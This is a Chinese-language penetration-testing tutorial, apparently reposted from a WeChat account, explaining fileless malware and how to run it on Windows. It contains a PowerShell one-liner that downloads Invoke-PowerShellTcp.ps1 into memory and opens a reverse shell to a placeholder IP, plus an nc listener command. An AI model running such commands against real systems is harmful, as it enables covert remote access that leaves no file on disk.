无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生。说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将payloads直接注入正在运行程序的内存,导致恶意软件直接在系统内存中执行,也让专家很难在系统重启之后找到此恶意软件的踪迹。
在日常的渗透测试中,如果使用无文件渗透,那么也同样可以保证在执行恶意测试程序时没有任何的文件落地,直接加载到内存中执行,本文分为两篇,将分别针对windows和linux系统分别简单介绍下如何进行无文件渗透测试实战。首先我们要确定下我们在什么情况下会到使用无文件渗透的这个地步: 1、存在命令执行相关漏洞,可直接执行系统命令 2、通过其他漏洞已经进入测试目标并且可以执行一些系统命令实际上在理解了命令执行的原理并且保证漏洞可以执行任意系统命令后,我们可以直接在命令行的操作模拟命令执行漏洞利用的操作,所以不要介意为什么说是利用漏洞来进行无文件渗透测试但图里面确实直接在命令行的操作。在windows下,一般通过远程加载powershell脚本来进行,接下来测试加载某ps1脚本至内存来反弹系统shell(用户会话),测试脚本名为Invoke-PowerShellTcp.ps1,脚本内容不给出,仅做无文件渗透测试样例使用,具体利用方式如下:
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://testwebsite/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x(测试人员远端主机ip) -port x(测试人员远端主机端口)
为了接收反弹的会话,我们可以使用ncat(能在两台主机之间建立链接并双向返回数据流)来进行主机间的通信,具体使用如下命令,默认tcp协议:
#nc –vvlp x(测试人员远端主机端口)
当在存在漏洞的测试目标上执行该命令时,内存中加载脚本内容并直接执行,进程中会出现powershell.exe但是并不会有Invoke-PowerShellTcp.ps1落地,执行后在测试人员的远端服务器上可以接收到测试目标的系统shell,分别在测试目标(windows)和测试人员远端主机(linux)执行whoami来确认反弹的系统shell确实为测试目标的会话:
使用进程管理器查看本地是否存在正在运行的powershell进程:
everything查看windows本地是否存在Invoke-PowerShellTcp.ps1文件
作 者:Testfan Covan
出 处:微信公众号:自动化软件测试平台 版权说明:欢迎转载,但必须注明出处,并在文章页面明显位置给出文章链接